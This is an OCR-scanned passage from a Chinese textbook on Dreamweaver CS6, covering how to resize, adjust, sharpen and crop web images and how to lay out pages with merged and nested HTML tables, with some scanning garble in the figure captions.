在 网 页 中 插入 过 大 的 图 片 时 ， 可 以 设置 图 片 的 宽度 和 高 度 使 图 片 正常 显示 。 这 样 虽 然 可 以 使 图 片 
正常 显示 ,但 是 过 大 的 图 片 文件 会 影响 网 页 打开 的 速度 ， 需 要 重新 设置 图 片 的 大 小 。Photoshop CS6 和 
Fireworks CS6 可 以 用 设置 图 像 大 小 的 方法 调整 图 片 的 占用 空间 。Dreamweaver CS6 提供 了 图 像 大 小 的 
设置 工具 ， 对 图 片 的 大 小 设置 非常 方便 ， 操 作 步 又 如 下 : 

(1) 打开 Dreamweaver CS6， 选 择 “ 文 件 ”| “新建” 命令 ， 新 建 一 个 HTML 网 页 文件 。 

(2) 选择 “文件 ”| “保存 ”命令 ， 将 文件 保存 至 “E:\eg11\” 文 件 下 ， 文 件 名 为 eg2.html。 

(3) 选择 “插入 ”| “图 像 ”命令 ， 在 弹出 的 “选择 图 像 源 文件 ”对 话 框 中 ， 选 择 插 入 从 光盘 中 
复制 的 图 片 a2.jpg。 单 击 “ 确 定 ” 按 钮 ， 完 成 图 片 插入 。 

(4) 单 击 “ 确 定 ” 按 钮 完成 设置 。 选 择 “ 文 件 ”| “保存 ”命令 保存 文件 。 

(5) 按 F12 键 运行 网 页 ， 网 页 图 片 的 效果 如 图 11-9 所 示 。 可 以 发 现 图 片 很 大 ， 需 要 对 图 片 的 大 
小 进行 设置 。 


图 11-9 大 图 片 的 显示 


(6) 在 Dreamweaver CS6 的 设计 视图 中 选择 插入 的 图 片 ， 单 击 “ 属 性 ”面板 上 的 “优化 ”按钮 蝇 ， 
对 图 片 进 行 优化 。 

(7) 在 图 片 的 优化 对 话 框 中 选择 “文件 ”选项 卡 ， 在 “ 宽 ” 文 本 框 中 输入 “400”， 将 图 片 宽度 
和 高 度 设置 成 图 片 压 缩 以 后 的 大 小 。 在 “文件 ”选项 卡 中 ， 已 经 默认 选中 “约束 比例 ” 复 选 框 ， 图 片 
的 高 度 会 自动 设置 并 保持 与 原 图 相同 的 比例 ， 如 图 11-10 所 示 。 

(8) 单 击 “ 确 定 ”按钮 ， 完 成 图 片 大 小 的 设置 。 选 择 “ 文 件 ”| “保存 ”命令 ， 保 存 文件 。 

(9) 按 F12 键 运行 网 页 ， 网 页 图 片 的 效果 如 图 11-11 所 示 。 发 现 图 片 已 经 变 小 ， 可 以 在 浏览 器 的 
窗口 中 完全 显示 。 


_ 因 ) 


| BE EE - Windows mtemet 


( BE] E\egil\eg2.html 7 |é#| x 3 sng Pp 
帘 收 天 | 乔 无 要 广 档 EAD 9 


ET ET 
图 11-10 设置 图 片 的 大 小 图 11-11 设置 大 小 以 后 的 图 片 


11.3.4 ”图 片 的 亮度 与 对 比 度 的 设置 


Dreamweaver 可 以 方便 地 对 图 片 的 亮度 与 对 比 度 进行 设置 。 这 些 设置 与 Fireworks CS6 中 的 图 片 设 
置 和 Photoshop CS6 中 图 片 设置 的 效果 是 相同 的 。 

(1) 打开 Dreamweaver CS6， 选 择 “ 文 件 ”| “新 建 ” 命 令 ， 新 建 一 个 HTML 网 页 文件 。 

(2) 选择 “文件 ”| “保存 ”命令 ， 将 文件 保存 至 “E:\eg11\” 文 件 下 ， 文 件 名 为 eg3.html。 

(3) 选择 “插入 ”|“ 图 像 ”命令 ， 在 弹出 的 “选择 图 像 源 文件 ”对 话 框 中 选择 插入 图 片 al_3.jpg。 
单 击 “ 确 定 ”按钮 ， 完 成 图 片 插入 。 

(4) 选择 “文件 ”| “保存 ”命令 ， 保 存 文件 。 

(5) 按 F12 键 运 行 网 页 ， 网 页 中 图 片 的 原始 效果 如 图 11-12 所 示 。 


内 无 5 看 文档 - Windows Internet 
€) ENegilveg3html| ~| 坟 | x | sz 


二 计算 机 | 保护 党 式 : 禁用 给 了 臣 100%6 


11-12 ”网 页 中 图 片 的 原始 效果 


(6) 在 Dreamweaver CS6 的 设计 视图 中 选择 插入 的 图 片 ， 单 击 “ 属 性 ”面板 上 的 “亮度 和 对 比 度 ” 
按钮 如 ， 对 图 片 进行 亮度 与 对 比 度 的 设置 。 
(7) 如 图 11-13 所 示 为 图 片 的 “亮度 /对 比 度 ” 对 话 框 ， 拖 动 “亮度 ”的 滑 块 ，“ 亮 度 ” 文 本 框 中 
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会 显示 相应 的 数值 。 
(8) 单 击 “确定 ”按钮 ， 完 成 图 片 亮度 的 设置 。 选 择 “ 文 件 ”| “保存 ”命令 ,保存 文件 。 
(9) 按 F12 键 运行 网 页 ， 网 页 图 片 的 效果 如 图 11-14 所 示 。 可 以 发 现 网 页 中 图 片 的 亮度 已 经 改变 。 
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图 11-13 “亮度 ”的 设置 图 11-14 网 页 中 图 片 的 亮度 的 改变 


(10) 在 Dreamweaver CS6 设计 视图 的 图 片 后 单 击 ， 再 选择 “插入 ”| “图 像 ”命令 ， 在 弹出 的 
“选择 图 像 源 文件 ”对 话 框 中 选择 插入 图 片 a1_4.jpg。 单 击 “确定 ”按钮 ， 完 成 图 片 的 插入 。 

(11) 在 Dreamweaver CS6 的 设计 视图 中 选择 插入 的 图 片 ， 单 击 “ 属 性 ”面板 上 的 “亮度 和 对 比 
度 ” 按 钮 中 ， 对 图 片 进行 亮度 与 对 比 度 的 设置 。 

(12) 如 图 11-15 所 示 是 图 片 的 “亮度 /对 比 度 ” 对 话 框 ， 拖 动 “ 对 比 度 ” 的 滑 块 ，“ 对 比 度 ” 文 
本 框 中 会 显示 相应 的 数值 。 

(13) 单 击 “ 确 定 ” 按 钮 ， 完 成 图 片 亮度 的 设置 。 选 择 “文件 ”| “保存 ”命令 ， 保 存 文 件 。 

(14) 按 F12 键 运 行 网 页 ， 网 页 图 片 的 效果 如 图 11-16 所 示 。 可 以 发 现 网 页 中 图 片 的 对 比 度 已 经 
改变 。 


图 11-15 “对 比 度 ” 的 设置 图 11-16 网 页 中 图 片 对 比 度 的 改变 
11.3.5 ”图 片 的 锐 化 设置 


图 片 的 锐 化 就 是 使 图 片 不 同 颜色 的 边界 清晰 ， 使 图 片 更 具有 层次 感 。Dreamweaver 的 图 片 锐 化 工 


_ 国 
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具 可 以 方便 地 对 网 页 的 图 片 进行 锐 化 设置 。 

(1) 打开 Dreamweaver CS6， 选 择 “文件 ”| “新 建 ” 命 令 ， 新 建 一 个 HTML 网 页 文件 。 

(2) 选择 “文件 ”| “保存 ”命令 ， 将 文件 保存 至 “E:\egll\” 文 件 下 ， 文 件 名 为 eg4.html。 

(3) 选择 “插入 ”|“ 图 像 ”命令 , 在 弹出 的 “选择 图 像 源 文件 ”对 话 框 中 选择 插入 图 片 al_5.jpg， 
然后 单 击 “确定 ”按钮 ， 完 成 图 片 插入 。 

(4) 选择 “文件 ”| “保存 ”命令 ， 保 存 文件 。 

(5) 按 F12 键 运行 网 页 ， 网 页 图 片 的 原始 效果 如 图 11-17 所 示 。 

(6) 在 Dreamweaver CS6 的 设计 视图 中 选择 插入 的 图 片 ， 单 击 “ 属 性 ”面板 上 的 “ 锐 化 ”按钮 旭 ， 
对 图 片 进行 锐 化 设置 。 

(7) 如 图 11-18 所 示 为 图 片 的 “ 锐 化 ”对 话 框 ， 拖 动 “ 锐 化 ”的 滑 块 ，“ 锐 化 ”文本 框 中 会 显示 
相应 的 数值 。 


图 11-17 网 页 中 图 片 的 原始 效果 图 11-18 “ 锐 化 ”的 设置 
(8) 单 击 “ 确 定 ”按钮 ， 完 成 图 片 亮度 的 设置 。 选 择 “ 文 件 ”| “保存 ”命令 ,保存 文件 。 
(9) 按 F12 键 运行 网 页 ， 网 页 图 片 的 效果 如 图 11-19 所 示 。 可 以 发 现 网 页 中 图 片 的 亮度 已 经 改变 。 
| B Bx - Wndows ntermet El 
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11.3.6 ”图 片 的 裁剪 


用 Dreamweaver 进行 网 页 排版 时 ， 如 果 需 要 对 图 片 进 行 裁剪 ， 可 以 不 用 外 部 工具 进行 图 片 裁剪 ， 
选择 Dreamweaver CS6 的 图 片 裁剪 工具 ， 可 以 对 图 片 进行 方便 的 裁剪 。 

(1) 打开 Dreamweaver CS6， 选 择 “ 文 件 ”| “新 建 ” 命 令 ， 新 建 一 个 HTML 网 页 文件 。 

(2) 选择 “文件 ”| “保存 ”命令 ， 将 文件 保存 至 “E:\eg11\” 文 件 下 ， 文 件 名 为 eg5.html。 

(3) 选择 “插入 ”| “图 像 ” 命 令 ， 在 弹出 的 “选择 图 像 源 文件 ”对 话 框 中 选择 插入 图 片 al _6:jpg。 
单 击 “ 确 定 ” 按 钮 ， 完 成 图 片 的 插入 。 

(4) 选择 “文件 ”| “保存 ”命令 ， 保 存 文件 。 
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图 11-20 ”裁剪 之 前 的 图 片 


(6) 在 Dreamweaver CS6 的 设计 视图 中 选择 插入 的 图 片 ， 单 击 “ 属 性 ”面板 上 的 “裁剪 ” 按钮 对， 
对 图 片 进行 裁剪 。 此 时 ， 设 计 视 图 中 的 图 片 会 显示 一 个 边框 和 拖 动 点 ， 如 图 11-21 所 示 。 调 整 这 个 边 
框 的 大 小 可 以 设置 裁剪 的 区 域 ， 双 击 图 片 ， 完 成 图 片 的 裁剪。 
(7) 图 片 裁剪 以 后 ， 设 计 视图 如 图 11-22 所 示 。 


11-21 用 裁剪 工具 裁剪 图 片 11-22 ”设计 视图 中 裁剪 以 后 的 图 片 
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(8) 选择 “文件 ”| “保存 ”命令 ， 保 存 文件 。 
(9) 按 F12 键 运行 网 页 ， 网 页 图 片 的 效果 如 图 11-23 所 示 。 可 以 发 现 网 页 中 图 片 经 过 裁剪 以 后 ， 
显示 的 区 域 会 变 小 ， 图 片 的 宽度 与 高 度 也 会 变 小 。 


11-23 ”网 页 中 的 图 片 裁剪 以 后 的 效果 


11.4 实例 : 在 Dreamweaver 中 优化 页 面 


Dreamweaver 中 集成 了 许多 图 片 优化 与 设置 工具 ， 这 些 工具 可 以 使 Dreamweaver 也 具有 一 些 图 片 
处 理 功能 。 对 图 片 进行 简单 的 设置 与 操作 ， 可 以 直接 使 用 Dreamweaver 来 完成 。 

在 Dreamweaver 中 进行 图 片 排版 时 ， 有 时 需要 根据 网 页 中 的 图 片 实现 情况 对 网 页 中 的 图 片 进行 优 
化 与 设置 。 本 节 以 一 个 Dreamweaver 图 片 网 页 的 排版 与 优化 为 例 ， 讲 述 Dreamweaver 的 网 页 图 片 优化 
问题 。 

(1) 在 计算 机 中 的 “FE:\” 盘 下 新 建 一 个 文件 夹 youhua_eg。 

(2) 打开 本 书 光 盘 ， 将 本 书 光盘 的 “\ 源 文件 11\youhual” 中 所 有 的 图 片 文件 复制 到 步骤 (1) 新 
建 的 文件 夹 中 。 

(3) 打开 Dreamweaver CS6， 选 择 “文件 ”| “新 建 ” 命 令 ， 新 建 一 个 HTML 网 页 文件 。 

(4) 选择 “文件 ”| “保存 ”命令 ,将 文件 保存 至 “E:\youhua_eg\” 文 件 下 ,文件 名 为 index.html。 

(5) 选择 “插入 ”| “表格 ”命令 ， 在 网 页 中 插入 一 个 2 行 2 列 的 表格 ,设计 视图 中 的 表格 如 
11-24 所 示 。 表 格 用 来 控制 图 片 的 布局 。 

(6) 在 表格 的 第 一 个 单元 格 中 单 击 ， 选 择 “ 插 入 ”| “图 像 ” 命 令 ， 在 弹出 的 “选择 图 像 源 文件 ” 
对 话 框 中 选择 插入 从 光盘 中 复制 的 图 片 aljjpg。 单 击 “ 确 定 ” 按 钮 ， 完 成 图 片 插入 。 在 设计 视图 中 插入 
的 图 片 如 图 11-25 所 示 。 

(7) 用 与 步骤 (6) 相同 的 方法 ， 在 其 他 的 3 个 单元 格 中 插入 图 片 。Dreamweaver CS6 的 设计 视 
图 如 图 11-26 所 示 。 

(8) 选择 第 一 张 图 片 ， 再 单 击 “ 属 性 ”面板 上 的 “亮度 和 对 比 度 ”按钮 出 ,对 图片 进行 亮度 设置 。 
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11-24 在 网 页 中 插入 的 表格 11-25 在 表格 的 单元 格 中 插入 的 图 片 


(9) 如 图 11-27 所 示 是 图 片 的 “亮度 /对 比 度 ” 对 话 框 ， 拖 动 “亮度 ”的 滑 块 ，“ 亮 度 ”文本 框 中 
会 显示 相应 的 数值 。 单 击 “ 确 定 ” 按 钮 ， 完 成 设置 。 
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图 11-26 在 网 页 表格 中 插入 图 片 图 11-27 对 图 片 进行 亮度 设置 


(10) 在 设计 视图 中 ， 调 整 亮 


bi 


度 以 后 的 图 片 效 果 如 图 11-28 所 示 。 


11-28 调整 图 片 亮度 以 后 的 图 片 
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(11) 选择 第 二 张 图 片 ， 单 击 “ 属 性 ”面板 上 的 “亮度 和 对 比 度 ”按钮 妈 ， 对 图 片 进行 对 比 度 设置 。 
(12) 如 图 11-29 所 示 是 图 片 的 “亮度 /对 比 度 ” 对 话 框 ， 拖 动 “对 比 度 ” 的 滑 块 ，“ 对 比 度 ” 文 
本 框 中 会 显示 相应 的 数值 。 单 击 “ 确 定 ” 按 钮 ， 完 成 设置 。 
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11-29 对 图 片 进行 对 比 度 设 置 


(13) 在 设计 视图 中 ， 调 整 对 比 度 以 后 的 图 片 效果 如 图 11-30 所 示 。 

(14) 选择 第 3 张 图 片 ， 单 击 “ 属 性 ”面板 上 的 “裁剪 ”按钮 到 ， 对 图 片 进行 裁剪 操作 。 此 时 ， 
设计 视图 中 的 图 片 会 显示 一 个 边框 和 拖 动 点 ， 如 图 11-31 所 示 。 调 整 这 个 边框 的 大 小 可 以 设置 裁剪 的 
区 域 。 然 后 双击 图 片 ， 完 成 图 片 的 裁剪。 


NT 


图 11-30 调整 图 片 对 比 度 以 后 的 图 片 图 11-31 图 片 的 裁剪 
(15) 图 片 裁剪 以 后 ， 网 页 的 设计 视图 如 图 11-32 所 示 。 


11-32 网 页 图 片 的 裁剪 效果 


(16) 在 Dreamweaver CS6 的 设计 视图 中 ， 选 择 第 4 张 图 片 ， 对 第 4 张 图 片 进行 图 片 大 小 设置 ， 
再 单 击 “ 属 性 ”面板 上 的 “优化 ”按钮 驶 ， 对 图 片 进行 优化 。 

(17) 在 图 片 的 优化 对 话 框 中 ， 选 择 “ 文 件 ” 选 项 卡 ， 在 “ 宽 ” 文 本 框 中 输入 “210”， 选 中 “ 约 
束 比 例 ” 复 选 框 ， 图 片 的 高 度 会 自动 设置 保持 与 原 图 相同 的 比例 ， 如 图 11-33 所 示 。 
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(18) 单 击 “ 确 定 ”按钮 ， 完 成 图 片 大 小 的 设置 。 调 整 大 小 以 后 的 图 片 如 图 11-34 所 示 。 
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图 11-33 设置 图 片 的 大 小 图 11-34 调整 大 小 以 后 的 图 片 


(19) 选择 “文件 ”| “保存 ”命令 ， 保 存 文件 。 
(20) 按 F12 键 运 行 网 页 ， 网 页 图 片 的 效果 如 图 11-35 所 示 。 可 以 发 现 网 页 中 的 每 张 图 片 经 过 优 


化 设置 以 后 ， 效 果 已 经 与 原来 的 图 片 发 生 了 较 大 的 改变 。 
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图 11-35 ”网 页 中 的 图 片 经 过 优化 设置 以 后 的 效果 
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11.5 常见 问题 


在 网 页 设计 处 理 图 片 时 ， 需 要 考虑 到 图 片 的 失真 问题 ， 网 页 中 JPG 格式 的 图 片 与 GIF 格式 图 片 的 
失真 原理 是 不 同 的 。 网 页 中 图 片 的 不 正确 比例 设置 也 可 能 造成 图 片 的 失真 。 


11.5.1 网 页 中 的 图 片 失真 问题 

网 页 中 最 常用 的 两 种 图 片 格式 是 JPG 格式 与 GIF 格式 。 在 网 页 中 使 用 的 图 片 ， 常 常 需要 图 片 质量 
的 设置 。JPG 与 GIF 两 种 格式 的 图 片 质量 设置 的 方法 是 不 同 的 。 

1. JPG 图 片 的 失真 


在 JPG 格式 中 ， 一 般 是 设置 图 片 的 保存 质量 ， 这 个 参数 用 百分比 来 表示 。 图 片 的 保存 质量 越 高 ， 
图 片 的 文件 越 大 ， 图 片 越 清晰 。 


如 图 11-36 所 示 是 一 张 图 片 分 别 在 100%、80%、60%、10% 等 4 种 不 同 的 图 片 质量 优化 时 的 效果 。 


先天 | 文件 
格式 :JPE6 
品 所 :77 加 


平 测 : 无 
源 进 式 洲 上 吕 显示 
可 拒 化 磊 色 边 缚 


图 11-36 JPG 图 片 在 不 同 质量 时 的 优化 效果 


由 图 11-36 可 知 ， 当 图 片 的 保存 质量 过 低 时 ， 图 片 的 细节 部 分 就 无 法 正常 显示 ， 图 片 就 会 在 清晰 
度 方面 产生 严重 的 失真 。 


2. GIF 图 片 的 优化 


GIF 格式 的 优化 是 按照 图 片 的 保存 颜色 来 计算 的 。 一 张 GIF 图 片 ， 保 存 的 颜色 数量 越 多 ， 则 图 片 
越 清 晰 ， 图 片 文件 越 大 。 如 图 11-37 所 示 是 一 张 GIF 图 片 ， 分 别 在 256 色 、128 色 、16 色 、4 色 的 不 同 
颜色 设置 时 的 预览 效果 。 
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11-37 GIF 图 片 在 不 同 颜色 设置 下 的 效果 


由 图 11-37 可 知 ，GIF 图 片 在 过 低 的 颜色 数目 下 保存 时 ， 会 在 图 片 颜色 的 方面 产生 很 大 的 失真 ， 但 
是 图 片 的 清晰 度 改 变 并 不 是 十 分 明显 。 


11.5.2 ”网 页 中 的 显示 图 片 大 小 与 实际 图 片 大 小 的 问题 


在 Dreamweaver 中 插入 图 片 时 ， 可 以 设置 图 片 的 大 小 。 但 在 插入 图 片 时 ， 图 片 大 小 的 设置 会 使 图 
片 产生 一 些 失 真 。 因 此 在 Dreamweaver 中 插入 图 片 时 要 注意 以 下 问题 : 
回 图片 设 置 的 比例 要 合适 ， 否 则 会 在 图 片 的 比例 方面 产生 严重 的 失真 ， 特 别 是 在 插入 人 像 时 ， 
比例 失真 会 严重 影响 图 片 的 效果 。 图 11-38 网 页 中 的 图 片 就 产生 了 严重 的 比例 失真 。 正 确 的 
做 法 是 ， 在 设置 图 片 大 小 时 ， 要 根据 原 图 的 比例 大 小 进行 图 片 大 小 的 计算 。 
回 图 片 过 分 放大 时 ， 导 致 图 片 效果 失真 。 在 Dreamweaver 中 设置 图 片 大 小 时 ， 如 果 把 一 张 小 图 
片 的 大 小 设置 得 很 大 ， 在 显示 这 张 图 片 时 ， 图 片 就 会 失真 。 正 确 的 做 法 是 ， 采 用 高 清晰 度 的 
图 片 ， 再 合理 设置 图 片 的 大 小 。 
回 图 片 过 分 缩小 时 ， 大 图 片 会 使 图 片 显示 失真 和 文件 下 载 缓慢 。 在 处 理 大 图 片 时 ，Dreamweaver 
可 以 设置 图 片 的 宽度 和 高 度 ， 但 这 只 是 设置 图 片 的 显示 大 小 ， 并 没有 更 改 原 有 的 图 片 文件 。 
大 图 片 在 缩小 显示 时 ， 也 会 产生 失真 ， 并 且 大 图 片 的 文件 可 能 很 大 ， 在 打开 网 页 时 速度 会 很 
慢 。 数 码 相机 拍摄 的 图 片 文件 一 般 都 很 大 。 网 页 中 需要 插入 这 样 的 大 图 片 时 ， 可 以 用 图 片 处 
理 软件 对 图 片 进行 压缩 ， 例 如 图 11-10 所 示 的 方法 ， 可 以 对 大 图 片 进行 大 小 设置 ， 另 一 种 方 
法 是 用 Fireworks 设置 图 片 大 小 来 压缩 图 片 。 用 Fireworks 打开 图 片 ， 选 择 “ 修 改 ”|“ 画 布 ” 
|“ 图 像 大 小 ”命令 ， 即 可 对 图 片 大 小 进行 设置 ， 如 图 11-39 所 示 。 在 Photoshop 中 也 可 以 设置 
与 压缩 图 片 的 大 小 ， 方 法 与 此 相似 。 
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11-38 ”网 页 中 图 片 比例 的 设置 导致 图 片 的 失真 图 11-39 在 Fireworks 中 设置 图 片 的 大 小 


11.6 小 结 


网 页 设计 时 ， 不 仅 要 制作 出 符合 内 容 要 求 的 网 页 ， 也 要 考虑 到 网 页 的 效果 与 网 页 浏览 时 的 性 能 。 

在 网 页 设计 中 ， 需 要 注意 网 页 中 的 图 片 效果 与 文件 大 小 的 问题 。 在 网 页 制作 中 ， 需 要 对 网 页 中 的 
图 片 进行 优化 与 设置 。 本 章 讲述 了 Dreamweaver 的 图 片 优化 设置 问题 ， 用 Dreamweaver 的 图 片 优化 设 
置 功能 可 以 大 大 简化 Fireworks 中 的 图 片 处 理工 作 。 
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各 于 于 至 


在 网 页 中 进行 排版 设计 时 ， 需 要 对 设计 的 内 容 进行 布局 。 但 网 页 中 的 元 素 ， 并 不 能 像 
平面 设计 中 的 元 素 一 样 ， 能 实现 任意 的 旋转 或 随意 放置 在 一 个 位 置 。 网 页 中 的 元 素 ， 需 要 
放置 在 一 定 的 “容器 ”里 ， 通 过 不 同 容器 的 定位 ， 实 现 对 一 个 网 页 元 素 的 定位 。 倒 如 ， 在 
网 页 中 并 不 能 按照 自己 的 设想 在 任意 地 方 插入 图 片 ， 一 般 是 把 图 片 放 在 表格 中 ， 通 过 对 表 
格 的 布局 和 定位 来 达到 对 图 片 定位 的 目的 。 

在 进行 网 页 布局 时 ， 通 常 使 用 表格 和 屋 两 种 方法 。 一般 通 过 表格 或 层 来 对 网 页 进行 分 
区 和 布局 ， 复 杂 网 页 的 布局 则 是 通过 表格 或 层 的 谋 套 来 实现 的 。 


12.1 基本 的 表格 布局 方法 


表格 是 最 常用 的 网 页 布局 实现 方式 。 在 表格 中 ， 很 容易 实现 表格 行 和 列 的 大 小 操作 ， 从 而 方便 地 
实现 网 页 布局 。 对 单元 格 进行 合并 或 拆 分 的 操作 ， 可 以 实现 网 页 布局 的 划分 。 

可 以 在 表格 的 单元 格 中 再 次 插入 表格 ， 实 现 表 格 的 嵌 套 。 表 格 的 嵌 套 可 以 实现 各 种 复杂 的 布局 ， 
通过 表格 嵌 套 的 方法 来 对 网 页 进行 排版 ， 操 作 便捷 ， 修 改 简单 。 


12.1.1 插入 表格 


在 Dreamweaver 的 设计 视图 中 需要 插入 表格 的 位 置 单 击 ， 然 后 单 击 “ 常 用 ”工具 栏 中 的 “表格 ” 
按钮 国 ， 即 可 在 网 页 中 插入 一 个 表格 。 也 可 以 选择 “插入 ”| “表格 ”命令 插入 一 个 表格 。“ 表 格 ” 
对 话 框 如 图 12-1 所 示 。 在 “ 行 数 ”文本 框 中 输入 “3”， 在 “ 列 ” 文 本 框 中 输入 “3”。 单 击 “ 确 定 ” 
按钮 ， 即 可 在 网 页 中 插入 一 个 3 行 3 列 的 表格 。 


12-1 “表格 ”对 话 框 


网 页 的 <body>、<p>、<div> 等 标签 都 可 以 插入 表格 ， 在 表格 的 单元 格 中 也 可 以 插入 表格 。 在 单元 
格 中 插入 表格 就 是 表格 的 嵌 套 。 


12.1.2 设置 表格 属性 
在 表格 的 “属性 ”面板 中 ， 可 以 对 表格 的 宽度 、 边 框 等 属性 进行 设置 。 在 设计 视图 中 单 击 表格 的 


边框 选择 一 个 表格 ， 在 属性 栏 中 就 会 出 现 表格 的 “属性 ”面板 ， 可 以 在 其 中 对 表格 的 各 项 属性 进行 设 
置 ， 如 图 12-2 所 示 。 
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12-2 表格 的 “属性 ”面板 


在 “属性 ”面板 中 ， 相 应 参数 的 设置 如 下 。 

行 和 列 : 设置 表格 的 行 数 与 列 数 。 

回 宽 : 设置 表格 的 宽度 ， 单 位 可 以 是 像素 或 百分比 。 当 单位 是 百分比 时 ， 表 示 表 格 的 宽度 占 上 
一 级 元 素 的 百分比 宽度 。 

对 齐 : 表示 表格 在 上 一 级 元 素 的 对 齐 方 式 。 

回 类: 选择 表格 需要 使 用 的 样式 表 中 的 样式 。 


12.1.3 ”合并 单元 格 


当 表 格 中 需要 在 连续 的 几 个 单元 格 中 插入 内 容 时 ， 可 以 把 表格 中 的 单元 格 合并 起 来 。 在 同一 个 表 
格 中 连续 的 几 个 单元 格 ， 或 是 在 连续 的 行 和 列 的 区 域 上 ， 都 可 以 合并 为 一 个 单元 格 。 

如 果 要 合并 单元 格 ， 需 要 先 选择 合并 的 单元 格 。 在 一 个 单元 格 中 单 击 ， 再 按 住 鼠 标 左 键 不 放 向 相 
邻 的 单元 格 拖 动 ， 然 后 单 击 表格 “属性 ”面板 中 的 “合并 所 选单 元 格 ” 按 钮 一， 即 可 完成 合并 单元 格 
的 操作 。 如 图 12-3 所 示 是 用 合并 单元 格 的 方法 来 实现 的 网 页 布局 。 需 要 对 网 页 中 的 布局 和 版 块 进行 调 
整 时 ， 可 以 灵活 采用 合并 单元 格 的 方法 ， 把 表格 中 需要 连通 的 单元 格 进行 合并 。 
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图 12-3 合并 单元 格 与 单元 格 布局 
与 合并 单元 格 相反 的 是 ， 同 一 个 单元 格 也 可 以 进行 拆 分 单元 格 的 操作 ， 把 一 个 单元 格 拆 分 为 多 个 单 
元 格 。 在 需要 拆 分 的 单元 格 中 单 击 ， 然 后 单 击 “ 属 性 ”面板 中 的 “ 拆 分 单元 格 为 行 或 列 ”按钮 沽 ， 在 显 
示 的 “ 拆 分 单元 格 ” 对 话 框 中 设置 需要 拆 分 的 行 数 或 列 数 ， 然 后 单 击 “ 确 定 ” 按 钮 ， 完 成 单元 格 的 拆 分 。 
合并 与 拆 分 单元 格 的 操作 ， 实 际 上 就 是 在 HIML 代码 中 标记 某 一 个 单元 格 占有 其 他 某 些 单元 格 的 
区 域 。 以 下 代码 是 图 12-3 所 示 的 拆 分 单元 格 的 表格 部 分 代码 。 


UL 网 页 制作 与 网 站 建设 技术 洋 角 


<table width="399” height="201” border="1” align="center” cellpadding="0” cellspacing="0" bordercolor 
="#000000"> 
<tr> 
<td colspan="2">&nbsp;</td> <!- 这 里 标记 了 这 个 单元 格 占有 水 平方 向 两 个 单元 格 -> 
<td>&nbsp;</td> 
<td>&nbsp;</td> 
<td>&nbsp;</td> 
</tr> 
<tr> 
<td>&nbsp;</td> 
<td>&nbsp;</td> 
<td colspan="2" rowspan="2">&nbsp;</td> <!- 这 里 标记 了 这 个 单元 格 占 有 2 行 2 列 4 个 单元 格 -> 
<td>&nbsp;</td> 
</tr> 
<tr> 
<td rowspan="3">&nbsp;</td> <!- 这 里 标记 了 这 个 单元 格 占有 垂直 方向 3 个 单元 格 --> 
<td>&nbsp;</td> 
<td>&nbsp;</td> 
</tr> 
<tr> 
<td>&nbsp;</td> 
<td>&nbsp;</td> 
<td>&nbsp;</td> 
<td rowspan="2">&nbsp;</td> <!- 这 里 标记 了 这 个 单元 格 占有 垂直 方向 两 个 单元 格 --> 
</tr> 
<tr> 
<td>&nbsp;</td> 
<td>&nbsp;</td> 
<td>&nbsp;</td> 
</tr> 
</table> 


而 在 拆 分 单元 格 时 ，HTML 代码 中 的 标记 方法 是 让 其 他 行 或 列 中 的 单元 格 合并 起 来 ， 然 后 在 需要 拆 
分 的 单元 格 的 旁边 增加 单元 格 。 


12.1.4 选取 表格 对 象 


在 进行 表格 操作 时 ， 需 要 选取 表格 对 象 。 表 格 对 象 可 以 选取 整个 表格 、 选 取 某 一 个 单元 格 、 选 取 
多 个 单元 格 、 选 取 整 行 或 整 列 。 

(1) 选取 整个 单元 格 。 在 Dreamweaver CS6 的 设计 视图 中 , 在 表格 的 边框 上 单 击 , 选择 整个 表格 。 
这 时 ， 表 格 会 以 黑色 边框 显示 ， 如 图 12-4 所 示 。 

(2) 选择 多 个 单元 格 。 在 Dreamweaver CS6 的 设计 视图 中 ， 在 一 个 单元 格 中 单 击 ， 然 后 按 住 鼠标 
左 键 不 放 ， 向 需要 选择 的 单元 格 拖 动 ， 选 择 了 多 个 单元 格 以 后 释放 鼠标 ， 选 择 的 单元 格 以 黑色 边框 显 
示 ， 如 图 12-5 所 示 。 
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图 12-4 单 击 边框 选择 一 个 表格 图 12-5 在 表格 中 选择 多 个 单元 格 
(3) 在 一 个 单元 格 中 单 击 ， 光 标 会 在 这 个 单元 格 中 闪 动 ， 这 个 单元 格 就 处 于 被 选中 状态 。 在 进行 
单元 格 属性 设置 时 ， 只 需要 在 这 个 单元 格 中 单 击 即 可 选中 这 个 表格 。 


12.1.5 ”表格 的 复杂 衬 套 实现 网 页 的 排版 


在 网 页 中 使 用 表格 合并 与 拆 分 的 方法 ， 可 以 实现 网 页 布局 的 灵活 排版 ， 但 是 ， 用 单元 格 合并 或 拆 
分 的 方法 完成 网 页 的 设计 以 后 ， 就 很 难 再 进行 行列 操作 ， 且 不 同 的 单元 格 互相 影响 ， 在 更 改 一 个 单元 
格 的 大 小 时 ， 同 时 会 对 其 他 单元 格 造成 影响 ， 很 难 进行 灵活 控制 。 

另 一 个 实现 布局 排版 的 方法 是 用 表格 的 嵌 套 。 表 格 嵌 套 就 是 在 表格 的 单元 格 中 再 插入 表格 ， 以 实 
现 对 网 页 布局 的 排版 。 在 进行 表格 嵌 套 操作 之 前 ， 需 要 明确 在 哪些 单元 格 中 怎样 再 插入 表格 进行 表格 
嵌 套 ， 如 图 12-6 所 示 是 用 表格 典 套 实现 的 网 页 布局 。 


刁 El 


图 12-6 用 表格 嵌 套 实现 网 页 布局 的 排版 


图 12-6 中 的 表格 嵌 套 ， 就 是 在 一 个 2 行 2 列 的 表格 中 再 分 别 插入 3 个 不 同 的 表格 ， 从 而 实现 对 页 
面 的 切割 与 排版 。 用 表格 嵌 套 的 方法 ， 不 同 的 单元 格 之 间 不 会 相互 影响 ， 可 以 分 别 设 置 不 同 表格 各 自 
的 属性 ， 可 以 灵活 地 使 用 边框 拖 动 的 方法 来 改变 各 个 嵌 套 表格 的 大 小 。 下 面 是 这 个 嵌 套 表格 的 HTML 
代码 。 

<head> 

<title> 表 格 嵌 套 </title> 

</head> 

<body> 

<table width="707" border="1" align="center" cellspacing="0" bordercolor="#000000"> 

<tr> 
<td width="413" height="82"> <!- 第 一 个 单元 格 中 媒 套 的 表格 -> 
<table width="100%" border="1" cellspacing="0" bordercolor="#000000"> 
<tr> 
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<td height="77">&nbsp;</td> 
<td>&nbsp;</td> 
<td>&nbsp;</td> </tr> 
</table></td> 
<td width="284">&nbsp;</td> </tr> 
<tr> 
<td height="120"> <!- 第 3 个 单元 格 中 其 套 的 表格 -> 
<table width="100%" border="1" cellspacing="0" bordercolor="#000000"> 
